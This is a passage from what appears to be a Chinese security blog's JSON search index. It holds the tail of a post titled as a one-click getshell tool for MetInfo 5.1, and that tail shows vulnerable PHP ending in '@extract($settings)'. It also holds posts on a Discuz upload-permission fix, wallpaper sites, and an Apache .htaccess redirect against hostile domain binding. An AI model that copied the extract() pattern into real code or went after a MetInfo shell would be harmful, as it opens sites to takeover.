style=\"color:#e6db74\"\u003e\u0026#39;columnid\u0026#39;\u003c/span\u003e]]\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e$list_config[\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;value\u0026#39;\u003c/span\u003e];\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t}\u003cspan style=\"color:#66d9ef\"\u003eelse\u003c/span\u003e{\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t$settings[$list_config[\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;name\u0026#39;\u003c/span\u003e]]\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e$list_config[\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;value\u0026#39;\u003c/span\u003e];\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e@\u003c/span\u003e\u003cspan style=\"color:#a6e22e\"\u003eextract\u003c/span\u003e($settings);\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003chr\u003e","title":"MetInfo V5.1 GetShell一键化工具"},{"content":" discuz 不能上传头像提示can not write to the data/tmp folder 解释： disucz头像上传不成功，提示data/tmp目录没有写入权限，这里的data/tmp是网站根目录uc_server/data/tmp这个目录，而不是根目录/data/tmp目录，其实/data下面本来没有tmp目录。\n解决办法： 首先看看uc_server/data/tmp有无写入权限，如果有权限那么就按照如下解决方法，需要修改php.ini，找到open_basedir选项，行首加分号;注销即可。\n","permalink":"https://www.hacktech.cn/post/2016/05/discuz-cannot-upload-avatar-prompts-that-can-not-write-to-the-datatmp-folder/","summary":"\u003chr\u003e\n\u003ch1 id=\"discuz-不能上传头像提示can-not-write-to-the-datatmp-folder\"\u003ediscuz 不能上传头像提示can not write to the data/tmp folder\u003c/h1\u003e\n\u003chr\u003e\n\u003ch2 id=\"解释\"\u003e解释：\u003c/h2\u003e\n\u003cp\u003edisucz头像上传不成功，提示data/tmp目录没有写入权限，这里的data/tmp是网站根目录uc_server/data/tmp这个目录，而不是根目录/data/tmp目录，其实/data下面本来没有tmp目录。\u003c/p\u003e","title":"discuz 不能上传头像提示can not write to the data-tmp folder"},{"content":"我在这里给大家推荐几个不错的壁纸网站\n毕竟一张赏心悦目的壁纸能让你的工作效率提高不少\n注意前方高能\n一大波网站即将来袭\n一系列 如你所见 alphacoders wallpaperdj Wallhaven(推荐) wallpaperswa eweb4 wallls topwallpapers wallpaperfo wallpapermay picstopin wallpaperup wall321 wallsave wallpaperswide desktopnexus goodfon vladstudio(推荐) simpledesktops(极简) interfacelift kuvva switch-box gde-fon bingimages wallpaper4k(推荐) feelgrafix facets(元素块构图) justinmaller(略抽象) 7-themes superhd fondos7 forwallpaper(推荐) 大B站的动漫壁纸，二次元可选 就推荐到这里吧，基本上是搜刮别人的答案而来，自己都有看过\n","permalink":"https://www.hacktech.cn/post/2016/05/many-website-of-wallpaper/","summary":"\u003cp\u003e我在这里给大家推荐几个不错的壁纸网站\u003c/p\u003e\n\u003cp\u003e毕竟一张赏心悦目的壁纸能让你的工作效率提高不少\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e注意前方高能\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e一大波网站即将来袭\u003c/strong\u003e\u003c/p\u003e\n\u003ch1 id=\"一系列--如你所见\"\u003e一系列  如你所见\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"http://wall.alphacoders.com/\"\u003ealphacoders\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://wallpaperdj.com/\"\u003ewallpaperdj\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://alpha.wallhaven.cc/\"\u003eWallhaven(\u003cem\u003e推荐\u003c/em\u003e)\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e","title":"Many Website Of WallPaper"},{"content":"还没开始就被别人绑定了域名 事情的起因与发现 刚买了个服务器搭建了一个dz，想着域名还没备案，就先搭建了起来，然后在做DDOS测试时偶然发现服务器被别人恶意把域名绑定了\n最初的解决方案 没管。。。。。。 后来发现有影响，朋友也一直给我说叫我整下\n利用重定向把恶意指向过来的域名指到别处 要利用301重定向，首先我们要在Apache上配置一下，Apache默认是不开启.htaccess的\n0x01.编辑httpd.conf文件 打开/etc/httpd/conf目录下的httpd.conf文件，找到这一行：\n1 LoadModule rewrite_module modules/mod_rewrite.so 当然，你得确定你的/etc/httpd/modules下有mod_rewrite.so这个文件\n1 ls /etc/httpd/modules | grep mod_rewrite 如果你没有找到这一行，记得在httpd.conf文件里直接添加这一行\n0x02.设置AllowOverride 同样的在httpd.conf文件中找到：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 \u0026lt;Directory \u0026#34;/var/www/html\u0026#34;\u0026gt; # # Possible values for the Options directive are \u0026#34;None\u0026#34;, \u0026#34;All\u0026#34;, # or any combination of: # Indexes Includes FollowSymLinks SymLinksifOwnerMatch ExecCGI MultiViews # # Note that \u0026#34;MultiViews\u0026#34; must be named *explicitly* --- \u0026#34;Options All\u0026#34; # doesn\u0026#39;t give it to you. # # The Options directive is both complicated and important. Please see # http://httpd.apache.org/docs/2.4/mod/core.html#options # for more information. # Options Indexes FollowSymLinks # # AllowOverride controls what directives may be placed in .htaccess files. # It can be \u0026#34;All\u0026#34;, \u0026#34;None\u0026#34;, or any combination of the keywords: # Options FileInfo AuthConfig Limit # AllowOverride All # # Controls who can get stuff from this server. # Require all granted \u0026lt;/Directory\u0026gt; 或者它长这个样子：\n1 2 3 4 \u0026lt;Directory /\u0026gt; Options FollowSymLinks AllowOverride None \u0026lt;/Directory\u0026gt; 什么，你告诉我还是找不到？？？ 那教你一个办法 锁定关键词FollowSymLinks和AllowOverride None\nvi的向下查找命令是:/你要查找的 vi的向上查找命令是:?你要查找的 n是下一个 N是上一个\n相信你已经找到了 接下来把None改成All\n0x03.编写规则文件.htaccess 跑去网站根目录下，比如我的是/var/www/html 如果存在.htaccess，忽略下一步，直接打开编辑 然后新建.htaccess文件touch .htaccess 编辑.htaccess文件vi .htaccess 添加如下规则\n1 2 3 4 RewriteEngine on RewriteCond %{HTTP_HOST} ^别人的域名.com$ [OR] RewriteCond %{HTTP_HOST} ^www.别人的域名.com$ RewriteRule ^(.*)$ http://www.自己的域名.com/$1 [R=301,L] 个人的修改 我知道，你在网上所找到的方法都是上面那种代码，并且应该都没有提 教你怎么开启.htaccess 但是本人实验过，这配置进去还有问题，设置重启Apache后，访问网站提示500错误 机智的我总要查看日志啊\n1 cat /var/log/messages | grep httpd 找到了错误 英语不太好，但是大致知道是服务器没有限定域名，需要修改ServerName,而ServerName字段值在httpd.conf中是被注释掉的 我们在httpd.conf修改它\n1 #ServerName: www.example.com:80 改为\n1 ServerName: 115.**.**.57:80 然后重启Apache，可以访问了\n后续 好的故事都会有后续的\n以为这样就万事大吉了?\n但是我这个被坑得不轻 admin.xx.com都被他解析到我服务器上来了\n老衲怎么破 .htaccess好像可以用正则表达式，一查，果然 那就改一下.htaccess咯 1 2 3 4 RewriteEngine on RewriteCond %{HTTP_HOST} ^别人的域名.com$ [OR] RewriteCond %{HTTP_HOST} ^.*.别人的域名.com$ RewriteRule ^(.*)$ http://www.自己的域名.com/$1 [R=301,L] 机智的你已经发现第三行中的www被我改成了.，就是匹配0个或者多个字符，当然你可以改成+\n然后重启Apache\n1 systemctl restart httpd 或者\n1 service httpd restart 现在我再访问。。。嘿嘿嘿，被我跳转到百度了 思考 当然，还有其他的方法，自己也可以去网上找找 对了，那个刚才在httpd.conf里换ip的地方也可换自己的域名，因为我的还在备案，就没改\n","permalink":"https://www.hacktech.cn/post/2016/05/lamp-server-was-bind-domain/","summary":"\u003ch1 id=\"还没开始就被别人绑定了域名\"\u003e还没开始就被别人绑定了域名\u003c/h1\u003e\n\u003ch2 id=\"事情的起因与发现\"\u003e事情的起因与发现\u003c/h2\u003e\n\u003cp\u003e刚买了个服务器搭建了一个dz，想着域名还没备案，就先搭建了起来，然后在做DDOS测试时偶然发现服务器被别人恶意把域名绑定了\u003c/p\u003e\n\u003ch2 id=\"最初的解决方案\"\u003e最初的解决方案\u003c/h2\u003e\n\u003cp\u003e没管。。。。。。\n后来发现有影响，朋友也一直给我说叫我整下\u003c/p\u003e\n\u003ch2 id=\"利用重定向把恶意指向过来的域名指到别处\"\u003e利用重定向把恶意指向过来的域名指到别处\u003c/h2\u003e\n\u003cp\u003e要利用301重定向，首先我们要在Apache上配置一下，Apache默认是不开启.htaccess的\u003c/p\u003e","title":"lamp服务器被人恶意绑定域名的解决办法"}]